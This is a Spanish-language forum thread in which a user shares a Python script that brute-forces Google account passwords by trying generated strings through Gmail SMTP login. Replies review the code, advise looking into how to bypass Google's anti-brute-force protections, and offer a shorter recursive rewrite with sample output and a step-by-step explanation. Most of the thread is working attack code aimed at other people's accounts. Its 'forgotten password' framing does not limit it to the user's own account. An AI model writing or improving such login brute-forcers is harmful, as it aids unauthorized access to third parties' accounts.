Autor
|
Tema: ForceToGoogle, ¿que os parece este programa realizado por mi? (Leído 3,842 veces)
|
Jedahee
Desconectado
Mensajes: 19
|
Este es un programa realizado con python 3.6, encargado de generar todas las combinaciones posibles de palabras de longitud de 6 a 12 caracteres(no incluye caracteres especiales), luego tendréis que introducir un nombre de usuario de una cuenta de google y este programa se encarga de intentar entrar en la cuenta del usuario introducido validando cada contraseña generada hasta encontrar la correcta # coding=utf-8 ######################################################################################################################## #DESARROLLO #Este programa se encarga de averiguar contraseñas de cuentas de google generando todas las combinaciones posibles de #palabras de 6 a 12 caracteres de longitud - Este programa esta pensado para que no tengas que cambiar tu ontraseña #otra vez... si has olvidado tu contraseña usa este programa para que la averigue y la tendrás de nuevo ######################################################################################################################## ######################################################################################################################## #ANÁLISIS #Realizar menu con decoración #Longitud de caracteres variables de 6 a 12 caractares #Hay que descargar el modulo colorama #Se debe saber con antelación el usuario para poder averiguar la contraseña #Entrada de datos: Longitud de caracteres que queremos que tenga nuestras claves generadas, si comprobar la contraseña o queremos generar claves #Salida de datos: Claves generadas y si cuando se compruebe con tu cuenta de google la contraseña correcta que la imprima en pantalla ######################################################################################################################## ######################################################################################################################## #DISEÑO #Importar librerias #Crear archivo donde se van a guardar las libreriass #Crear variables #Crear archivos donde guardamos las contraseñas con distintas longitudes de caracter #Crear menu #Una vez elegido la opcion del menu crear contraseñas de x caracteres 1-Generar contraseñas de x caracteres 2-comprobar contraseñas generadas 3-Salir #Crear bucle for donde introduzca cada contraseña generada al inicio de sesión de google #Que muestre en pantalla si la contraseña es correcta o no ######################################################################################################################## import smtplib, os, sys, colorama from os import listdir from typing import Any from colorama import init, Fore from termcolor import colored import time import random colorama.init() num = 0 num = int(num) smtpserver = smtplib.SMTP("smtp.gmail.com", 587) smtpserver.ehlo() smtpserver.starttls() car = "AaBbCcDdEeFfGgHhIiJjKkLlMmNnÑñOoPpQqRrSsTtUuVvWwXxYyZz0123456789" def menu(): Google = Fore.BLUE+"G"+Fore.RED+"o"+Fore.YELLOW+"o"+Fore.BLUE+"g"+Fore.GREEN+"l"+Fore.RED+"e" Force = Fore.YELLOW+"Force" print("##########################################") print(" "+Force+Fore.WHITE+"To"+Google+" ") print(Fore.WHITE + "##########################################") print("Realizado por Jesús Daza Hernández") print(Fore.GREEN + '----------------------------O------------------------------') print(Fore.RED+"["+Fore.WHITE+"1"+Fore.RED+"]", Fore.CYAN+"Generar claves") print(Fore.RED+"["+Fore.WHITE+"2"+Fore.RED+"]", Fore.CYAN+"Comporbar claves generadas") print(Fore.RED+"["+Fore.WHITE+"3"+Fore.RED+"]", Fore.CYAN+"Salir de FTG"+Fore.WHITE) def Fuerzabruta6(): archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "w") for a in car: for b in car: for c in car: for d in car: for e in car: for f in car: con = str(a + b + c + d + e + f) archivo_6.write(con+"\n") def Fuerzabruta7(): archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "w") for a in car: for b in car: for c in car: for d in car: for e in car: for f in car: for g in car: con = str(a + b + c + d + e + f + g) archivo_7.write(con+"\n") def Fuerzabruta8(): archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_8.txt", "w") for a in car: for b in car: for c in car: for d in car: for e in car: for f in car: for g in car: for h in car: con = str(a + b + c + d + e + f + g + h) archivo_8.write(con+"\n") def Fuerzabruta9(): archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_9.txt", "w") for a in car: for b in car: for c in car: for d in car: for e in car: for f in car: for g in car: for h in car: for i in car: con = str(a + b + c + d + e + f + g + h + i) archivo_9.write(con+"\n") def Fuerzabruta10(): archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_10.txt", "w") for a in car: for b in car: for c in car: for d in car: for e in car: for f in car: for g in car: for h in car: for i in car: for j in car: con = str(a + b + c + d + e + f + g + h + i + j) archivo_10.write(con+"\n") def Fuerzabruta11(): archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_11", "w") for a in car: for b in car: for c in car: for d in car: for e in car: for f in car: for g in car: for h in car: for i in car: for j in car: for k in car: con = str(a + b + c + d + e + f + g + h + i + j + k) archivo_11.write(con+"\n") def Fuerzabruta12(): archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseña_12.txt", "w") for a in car: for b in car: for c in car: for d in car: for e in car: for f in car: for g in car: for h in car: for i in car: for j in car: for k in car: for l in car: con = str(a + b + c + d + e + f + g + h + i + j + k + l) archivo_12.write(con+"\n") def ComprobarClaves(): try: smtpserver.login(email, pwd) print(Fore.GREEN+"CONTRASEÑA CORRECTA") print("La contraseña es: ", Fore.BLUE+pwd) archivo.close() except smtplib.SMTPAuthenticationError: pass def salir(): sys.exit() menu() opc = input(">> ") opc = int(opc) os.system("cls") if opc == 1: print("Longitud de las claves a generar(6-12)") longitud = input(">> ") longitud = int(longitud) if longitud >=6 and longitud <=12: if longitud == 6: Fuerzabruta6() elif longitud == 7: Fuerzabruta7() elif longitud == 8: Fuerzabruta8() elif longitud == 9: Fuerzabruta9() elif longitud == 10: Fuerzabruta10() elif longitud == 11: Fuerzabruta11() elif longitud == 12: Fuerzabruta12() else: print("Tienes que elegir una longitud para tus claves a generar del 1 al 12") menu() if opc == 2: print("Elige un archivo de contraseñas que quieras comprobar") for cosa in listdir("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas"): print(Fore.RED+"["+Fore.WHITE+str(num)+Fore.RED+"]", Fore.YELLOW+cosa+Fore.WHITE) num = int(num) + 1 arch_comp = input("Archivo a comprobar(poner nombre completo sin extension) >> ") os.system("cls") email = input("Tu email: ") if arch_comp == "contraseñas_6": archivo_6 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_6.txt", "r") for pwd in archivo_6: ComprobarClaves() if arch_comp == "contraseñas_7": archivo_7 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_7.txt", "r") for pwd in archivo_7: ComprobarClaves() if arch_comp == "contraseñas_8": archivo_8 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_8.txt", "r") for pwd in archivo_8: ComprobarClaves() if arch_comp == "contraseñas_9": archivo_9 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_9.txt", "r") for pwd in archivo_9: ComprobarClaves() if arch_comp == "contraseñas_10": archivo_10 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_10.txt", "r") for pwd in archivo_10: ComprobarClaves() if arch_comp == "contraseñas_11": archivo_11 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_11.txt", "r") for pwd in archivo_11: ComprobarClaves() if arch_comp == "contraseñas_12": archivo_12 = open("C:/Users/jedahee/PycharmProjects/ForceToGoogle/contraseñas/contraseñas_12.txt", "r") for pwd in archivo_12: ComprobarClaves() if opc == 3: salir()
¿Que os parece?
|
|
|
En línea
|
|
|
|
@XSStringManolo
Hacker/Programador
Colaborador
Desconectado
Mensajes: 2.399
Turn off the red ligth
|
Ese programa solo va a funciobar en tu PC porque pususte la ruta entera. Pon la ruta ("/contraseñas/contraseña_1"); Así conque exista la carpeta dentro del programa te la encuentra independientemente de si el usuario usa windows, linux, etc. Usas muchas funciones distintas para hacer casi lo mismo. Es mejor que hagas solo una función para fuerza bruta y tomes como parámetro el número de caracteres para pequeñas modificaciones. Tiene un print que dice que pongas contraseña de longitud entre 1 y 12. Cuando en realidad solo das como válido entre 6 y 12. Google tiene protección ante fuerza bruta. Investiga que protecciones tiene para intentar saltártelas. Creo que una de ellas es devolverte un falso positivo para que tu programa piense que encontró la clave correcta cuando en realidad no es así. Yo diría que no se puede hacer fuerza bruta a priori por el sencillo hecho de que un usuario inexperto como yo, puede implementar las protecciones necesarias par deshabilitar cualquier intento de fuerza bruta. Asique una empresa millonaria como Google lo tendrá más que implementado seguro. Prueba el programa a ver si funciona
|
|
|
En línea
|
Mi perfil de patrocinadores de GitHub está activo! Puedes patrocinarme para apoyar mi trabajo de código abierto 💖
|
|
|
Jedahee
Desconectado
Mensajes: 19
|
Ese programa solo va a funciobar en tu PC porque pususte la ruta entera. Pon la ruta ("/contraseñas/contraseña_1"); Así conque exista la carpeta dentro del programa te la encuentra independientemente de si el usuario usa windows, linux, etc. Usas muchas funciones distintas para hacer casi lo mismo. Es mejor que hagas solo una función para fuerza bruta y tomes como parámetro el número de caracteres para pequeñas modificaciones. Tiene un print que dice que pongas contraseña de longitud entre 1 y 12. Cuando en realidad solo das como válido entre 6 y 12. Google tiene protección ante fuerza bruta. Investiga que protecciones tiene para intentar saltártelas. Creo que una de ellas es devolverte un falso positivo para que tu programa piense que encontró la clave correcta cuando en realidad no es así. Yo diría que no se puede hacer fuerza bruta a priori por el sencillo hecho de que un usuario inexperto como yo, puede implementar las protecciones necesarias par deshabilitar cualquier intento de fuerza bruta. Asique una empresa millonaria como Google lo tendrá más que implementado seguro. Prueba el programa a ver si funciona En cuanto al print y a la carpeta dentro de mi sistema la verdad es que no me di cuenta Se que este programa no funcionaria con una empresa como lo es google, de hecho cuando yo probé este programa al rato de estar el programa intentando acceder a la cuenta de google, google te bloquea el acceso a esa cuenta por spam, lo cual ya destruye mi programa pero mas que nada he hecho este programa por el reto y bueno, este porgrama funcionaria si no tuviera como objetivo google pero bueno, también lo he hecho para mostrarlo y que la gente opine donde podría mejorar en tema de sintaxis
|
|
|
En línea
|
|
|
|
jmpesp
Desconectado
Mensajes: 21
|
El programa en si no funcionara (en teoria tarde o temprano obtendras la clave correcta, pero solo en teoria). No solo por ser "Google" o por las protecciones que pueda llegar a tener (que de seguro al quinto intento el servidor SMTP comenzara a rechazar tus conexiones o a arrojar falsos negativos). Recorrer todo el charset en todos los largos especificados te llevara 853058370935030464 intentos. A un promedio de digamos 700 ms por intento intentar todas las combinaciones posibles te llevaria 315586874 a;os. Incluso teniendo el hash y el equipamiento necesario a tu disposicion, romperlo de esa manera seria improbable y una perdida de tiempo. Los ataques por diccionario suelen ser mas efectivos, aunque no hay garantia de que la clave este en el diccionario. En cuanto al codigo, como ya te dijieron, hay varias cosas que mejorar. -No usar rutas absolutas. -Guardar las claves generadas en el disco consume recursos innecesariamente, lo unico que necesitas es probar la clave momento despues de generarla. -Las funciones FuerzaBrutaN deberian ser reemplazadas por una unica funcion que acepte el largo de la cadena a generar como parametro Los colores y el menu de opciones en mi opinion son innecesarios. Por que no recibir el email y el largo deseado por un parametro al programa y ya? Tu programa podria ser reducido a: #!/usr/bin/python
import sys import smtplib
charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-/.,!%$#@&^*()_+;:'\""
def brute_google(email, passwd):
print "Probando {}:{}".format(email, passwd)
smtp = smtplib.SMTP("smtp.gmail.com", 587) smtp.starttls()
try: smtp.login(email, passwd) print "Esto nunca va a suceder :( [CRACKED]: {}".format(passwd) sys.exit() except smtplib.SMTPAuthenticationError: pass
def gen_passwd(email, passwd, index, length):
for x in charset: passwd[index] = x
if index < (length-1): gen_passwd(email, passwd, index+1, length)
brute_google(email, "".join(passwd)) try: email = sys.argv[1] except IndexError: print "Usar: {} [email]".format(sys.argv[0]) sys.exit()
for i in range(6, 16): passwd = ['a' for x in range(i)] gen_passwd(email, passwd, 0, i)
$ ./brute.py test@mail.com Probando test@mail.com:aaaaaa Probando test@mail.com:aaaaab Probando test@mail.com:aaaaac Probando test@mail.com:aaaaad Probando test@mail.com:aaaaae Probando test@mail.com:aaaaaf
Saludos !
|
|
|
En línea
|
|
|
|
Jedahee
Desconectado
Mensajes: 19
|
Wow la vd es que ese programa es muchísimo mejor... En cuanto los colores y eso es por simple estética y qje se viera mejor Una pregunta, no entiendo como generas la contraseña, a partir de "Def gen_passwrd(email, passwrd, index, length)" Y otra cosa, que valores iniciales toman los atributos que están entre paréntesis? Muchas gracias por responder!!
|
|
|
En línea
|
|
|
|
jmpesp
Desconectado
Mensajes: 21
|
Wow la vd es que ese programa es muchísimo mejor... En cuanto los colores y eso es por simple estética y qje se viera mejor Una pregunta, no entiendo como generas la contraseña, a partir de "Def gen_passwrd(email, passwrd, index, length)" Y otra cosa, que valores iniciales toman los atributos que están entre paréntesis? Muchas gracias por responder!! No es muy diferente a lo que hace tu codigo. Funciona de la misma manera. Si te fijas, antes de llamar a la funcion, se inicializa una lista con N elementos. El numero de elementos es el largo de la cadena # suponiendo que "i" (el largo) es 8 passwd = ['a' for x in range(i)] # Produce una lista: ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a'] gen_passwd(email, passwd, 0, i)
La funcion acepta como parametro la lista a modificar, el largo y el indice de la lista que va a modificar (el caracter). Lo que hacemos es recorrer el charset asignandole cada caracter posible al indice de la lista indicado. Si el indice es menor que el largo de la lista, es decir, nuestro indice no es el ultimo caracter en la clave a generar, la funcion se vuelve a llamar a si misma , incrementando el indice. def gen_passwd(email, passwd, index, length):
for x in charset: passwd[index] = x
if index < (length-1): gen_passwd(email, passwd, index+1, length)
brute_google(email, "".join(passwd))
Para entenderlo mejor, con un charset de solo 3 caracteres: charset = "abc" passwd = ['x','x','x']
#la primera llamada a gen_charset con indice 0 producira:
passwd = ['a','x','x']
#como el indice 0 no es el ultimo de la lista, se volvera a llamar a si misma con el indice 1 # quedando
passwd = ['a','a',x']
# sucede lo mismo que antes pero ahora se utiliza el indice 2
passwd = ['a','a','a']
# el indice 2 es el ultimo de la lista, entonces no se incrementa el indice # se producen los siguientes resultados:
passwd = ['a','a','b'] passwd = ['a','a','c']
# como no hay mas caracteres para probar en el charset, la funcion retorna a la llamada anterior de gen_passwd, que tenia el indice 1, y de nuevo, como 1 no es el ultimo indice de la lista se vuelve a llamar a la funcion con el indice 2, produciendo:
passwd = ['a','b','a']
# el ciclo se repite hasta producir todas las combinaciones posibles en todos los indices de la lista
passwd = ['a','b','b'] passwd = ['a','b','c'] passwd = ['a','c','a'] passwd = ['a','c','b'] passwd = ['a','c','c'] passwd = ['b','a','a'] passwd = ['b','a','b'] passwd = ['b','a','c'] passwd = ['b','b','a'] # [...] etc [...]
Que al final es lo mismo que haces tu hardcodeando los ciclos: for a in car: for b in car: for c in car: for d in car: for e in car: for f in car: con = str(a + b + c + d + e + f) archivo_6.write(con+"\n")
Solo que en lugar de usar recursion, hardcodeas el numero de ciclos uno dentro de el otro, y en lugar de usar una lista e indices, utilizas variables y las concatenas al final. Espero se haya entendido
|
|
|
En línea
|
|
|
|
Jedahee
Desconectado
Mensajes: 19
|
Gracias por responder!
|
|
« Última modificación: 4 Noviembre 2019, 23:53 pm por Jedahee »
|
En línea
|
|
|
|
Jedahee
Desconectado
Mensajes: 19
|
No es muy diferente a lo que hace tu codigo. Funciona de la misma manera. Si te fijas, antes de llamar a la funcion, se inicializa una lista con N elementos. El numero de elementos es el largo de la cadena # suponiendo que "i" (el largo) es 8 passwd = ['a' for x in range(i)] # Produce una lista: ['a', 'a', 'a', 'a', 'a', 'a', 'a', 'a'] gen_passwd(email, passwd, 0, i)
La funcion acepta como parametro la lista a modificar, el largo y el indice de la lista que va a modificar (el caracter). Lo que hacemos es recorrer el charset asignandole cada caracter posible al indice de la lista indicado. Si el indice es menor que el largo de la lista, es decir, nuestro indice no es el ultimo caracter en la clave a generar, la funcion se vuelve a llamar a si misma , incrementando el indice. def gen_passwd(email, passwd, index, length):
for x in charset: passwd[index] = x
if index < (length-1): gen_passwd(email, passwd, index+1, length)
brute_google(email, "".join(passwd))
Para entenderlo mejor, con un charset de solo 3 caracteres: charset = "abc" passwd = ['x','x','x']
#la primera llamada a gen_charset con indice 0 producira:
passwd = ['a','x','x']
#como el indice 0 no es el ultimo de la lista, se volvera a llamar a si misma con el indice 1 # quedando
passwd = ['a','a',x']
# sucede lo mismo que antes pero ahora se utiliza el indice 2
passwd = ['a','a','a']
# el indice 2 es el ultimo de la lista, entonces no se incrementa el indice # se producen los siguientes resultados:
passwd = ['a','a','b'] passwd = ['a','a','c']
# como no hay mas caracteres para probar en el charset, la funcion retorna a la llamada anterior de gen_passwd, que tenia el indice 1, y de nuevo, como 1 no es el ultimo indice de la lista se vuelve a llamar a la funcion con el indice 2, produciendo:
passwd = ['a','b','a']
# el ciclo se repite hasta producir todas las combinaciones posibles en todos los indices de la lista
passwd = ['a','b','b'] passwd = ['a','b','c'] passwd = ['a','c','a'] passwd = ['a','c','b'] passwd = ['a','c','c'] passwd = ['b','a','a'] passwd = ['b','a','b'] passwd = ['b','a','c'] passwd = ['b','b','a'] # [...] etc [...]
Que al final es lo mismo que haces tu hardcodeando los ciclos: for a in car: for b in car: for c in car: for d in car: for e in car: for f in car: con = str(a + b + c + d + e + f) archivo_6.write(con+"\n")
Solo que en lugar de usar recursion, hardcodeas el numero de ciclos uno dentro de el otro, y en lugar de usar una lista e indices, utilizas variables y las concatenas al final. Espero se haya entendido Sigo teniendo algunas dudas sobre este código, tras haberlo analizado profundamente y también gracias a tus explicaciones he logrado entender gran partede el, basicamente tu programa es: for i in range(6, 16): passwd = ['a' for x in range(i)] gen_passwd(email, passwd, 0, i)
Aquí haces que la contraseña sea ["a","a","a","a","a","a"] hasta 16 ["a"] y también le indicas a index que sea 0 y a lenght que sea i que sería lo mismo que 6, luego 7, 8, 9 ,10...hasta 15 def brute_google(email, passwd): print "Probando {}:{}".format(email, passwd) smtp = smtplib.SMTP("smtp.gmail.com", 587) smtp.starttls() try: smtp.login(email, passwd) print "Esto nunca va a suceder :( [CRACKED]: {}".format(passwd) sys.exit() except smtplib.SMTPAuthenticationError: pass
Aquí indicas que se va a mostrar en pantalla, inicias los servicios de gmail y además intentas logearte def gen_passwd(email, passwd, index, length): for x in charset: passwd[index] = x
Esa parte no la entiendo, que se supone que hace? if index < (length-1): gen_passwd(email, passwd, index+1, length) brute_google(email, "".join(passwd))
Esto creo que dice que si index(que le asignaste el valor de 0) es menor que lenght - 1 (que le asignaste el valor de i, osea 6) que sume 1 a index pero al acabar este bucle vuelves a darle el valor de cero, ¿no?, esta parte tampoco entiendo lo que hace try: email = sys.argv[1] except IndexError: print "Usar: {} [email]".format(sys.argv[0]) sys.exit()
Esta parte la entiendo a la perfección Muchas gracias por responder y ayudarme!
|
|
|
En línea
|
|
|
|
jmpesp
Desconectado
Mensajes: 21
|
def gen_passwd(email, passwd, index, length): for x in charset: passwd[index] = x
Esa parte no la entiendo, que se supone que hace? Lo que hace es recorrer el charset y asignarle cada caracter de el charset a el elemento indicado de la lista "passwd". Ejemplo: charset = "123" passwd = ['a','a','a']
# asumiendo que index = 0 for x in charset: passwd[index] = x print "".join(passwd)
# Produciria la siguiente salida:
1aa 2aa 3aa
if index < (length-1): gen_passwd(email, passwd, index+1, length) brute_google(email, "".join(passwd))
Esto creo que dice que si index(que le asignaste el valor de 0) es menor que lenght - 1 (que le asignaste el valor de i, osea 6) que sume 1 a index pero al acabar este bucle vuelves a darle el valor de cero, ¿no?, esta parte tampoco entiendo lo que hace
Exacto. Esa comparacion sirve para saber si estamos modificando el ultimo indice de la lista (el ultimo caracter en la password). Hay que restarle uno a length porque, si la lista tiene 6 elementos, length sera 6, pero los indices comienzan desde cero. Tendremos los indices 0,1,2,3,4,5. Creo que para que lo entiendas, primero debes entender lo que hace la funcion gen_passwd. Toma como parametros una lista, y un indice. Lo unico que hace esta funcion es recorrer el charset y asignarle cada caracter al indice especificado. Algo como: charset = "abc" list = ['x','x','x','x']
def gen(list, index): for x in charset: list[index] = x print "".join(list)
# esto produce la siguiente salida:
gen(list, 0) # axxx # bxxx # cxxx # .... etc ...
El truco esta en que la funcion se llama a si misma recursivamente incrementando el indice hasta llegar al final de la cadena. charset = "abc" list = ['x','x','x','x']
def gen(list, index): for x in charset: list[index] = x gen(list, index+1) print "".join(list)
# esto produce la siguiente salida:
gen(list, 0) # aaxx # abxx # acxx # baxx # bbxx # bcxx # caxx # cbxx # ccxx # .... etc ...
https://uniwebsidad.com/libros/python/capitulo-4/llamadas-recursivasEspero te ayude a entenderlo, no soy muy bueno explicando la verdad.
|
|
|
En línea
|
|
|
|
Jedahee
Desconectado
Mensajes: 19
|
Lo que hace es recorrer el charset y asignarle cada caracter de el charset a el elemento indicado de la lista "passwd". Ejemplo: charset = "123" passwd = ['a','a','a']
# asumiendo que index = 0 for x in charset: passwd[index] = x print "".join(passwd)
# Produciria la siguiente salida:
1aa 2aa 3aa
Exacto. Esa comparacion sirve para saber si estamos modificando el ultimo indice de la lista (el ultimo caracter en la password). Hay que restarle uno a length porque, si la lista tiene 6 elementos, length sera 6, pero los indices comienzan desde cero. Tendremos los indices 0,1,2,3,4,5. Creo que para que lo entiendas, primero debes entender lo que hace la funcion gen_passwd. Toma como parametros una lista, y un indice. Lo unico que hace esta funcion es recorrer el charset y asignarle cada caracter al indice especificado. Algo como: charset = "abc" list = ['x','x','x','x']
def gen(list, index): for x in charset: list[index] = x print "".join(list)
# esto produce la siguiente salida:
gen(list, 0) # axxx # bxxx # cxxx # .... etc ...
El truco esta en que la funcion se llama a si misma recursivamente incrementando el indice hasta llegar al final de la cadena. charset = "abc" list = ['x','x','x','x']
def gen(list, index): for x in charset: list[index] = x gen(list, index+1) print "".join(list)
# esto produce la siguiente salida:
gen(list, 0) # aaxx # abxx # acxx # baxx # bbxx # bcxx # caxx # cbxx # ccxx # .... etc ...
https://uniwebsidad.com/libros/python/capitulo-4/llamadas-recursivasEspero te ayude a entenderlo, no soy muy bueno explicando la verdad. aaaaah ya lo he entendido todo, gracias por responder!
|
|
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
¿Que os parece este MP4 ?
Dudas Generales
|
r34p3rb0y
|
0
|
2,066
|
30 Enero 2011, 03:43 am
por r34p3rb0y
|
|
|
Que os parece este programa para cifrar la conexión a Internet
Seguridad
|
chocola
|
0
|
2,811
|
11 Enero 2012, 17:08 pm
por chocola
|
|
|
Este robot realizado con impresora 3D puede desbloquear tu smartphone en horas
Noticias
|
wolfbcn
|
0
|
1,366
|
24 Julio 2013, 21:56 pm
por wolfbcn
|
|
|
Qué os parece éste pc?
Hardware
|
BlackM4ster
|
4
|
3,023
|
11 Diciembre 2014, 10:47 am
por Orubatosu
|
|
|
ayuda estar bien realizado este taller de listas, pilas y colas. denle una vista
Programación C/C++
|
creiko
|
0
|
2,302
|
4 Diciembre 2016, 22:21 pm
por creiko
|
|